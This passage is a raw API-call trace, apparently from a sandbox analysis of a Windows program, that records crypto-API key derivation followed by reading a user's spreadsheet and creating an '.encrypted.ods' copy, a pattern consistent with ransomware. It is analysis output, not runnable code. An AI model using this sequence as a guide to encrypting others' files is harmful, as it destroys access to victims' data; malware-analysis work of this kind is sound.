lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.239] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.239] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0025.239] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.239] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.239] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.239] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.239] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.239] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.239] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.239] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.239] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.239] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.239] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.240] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.240] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.240] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.240] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.240] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0025.240] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.240] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.240] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.240] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.240] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.240] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0025.240] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.240] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4063410) returned 1 [0025.240] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.240] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.240] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0025.240] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.240] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.240] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.240] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.240] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.240] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.241] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.241] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.241] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.241] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.241] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.241] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.241] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0025.241] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.241] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.241] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.241] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.241] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.241] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.241] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.241] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.241] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.241] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.241] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.241] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.241] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.241] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.241] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.241] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.241] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.241] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.241] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.241] CryptCreateHash (in: hProv=0xe8f4063410, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0025.241] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.241] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.241] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.242] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.242] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0025.242] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.242] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.242] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.242] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.242] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.242] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b2a0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0025.242] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.242] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.242] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.242] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.242] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.242] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.242] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.242] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.242] CryptDeriveKey (in: hProv=0xe8f4063410, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062b10) returned 1 [0025.242] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.242] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.242] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.242] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.242] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.242] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.242] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0025.242] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.242] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0025.243] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.244] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.244] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.244] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.244] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.244] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LIL6pH6Oee7iuTK.ods" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7\\lil6ph6oee7iutk.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0025.244] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.244] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0025.244] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.244] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.244] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.245] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7")) returned 0x10 [0025.245] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LIL6pH6Oee7iuTK.encrypted.ods" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7\\lil6ph6oee7iutk.encrypted.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0025.245] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.245] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.245] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.245] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.247] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0025.247] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0025.248] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x5888, lpOverlapped=0x0) returned 1 [0025.248] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0025.251] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.251] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.251] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.251] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0025.253] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.253] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.253] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0025.253] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.253] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0025.253] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.253] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.253] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.253] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0025.254] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.254] CryptGetKeyParam (in: hKey=0xe8f4062b10, dwParam=0x7, pbData=0xe8f4064d40, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d40*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0025.254] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.254] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.254] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.254] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.254] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.254] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.254] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.254] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.254] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.254] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.254] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.254] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.254] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.254] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.254] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.254] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.254] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.254] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.255] PeekMessageW (in: 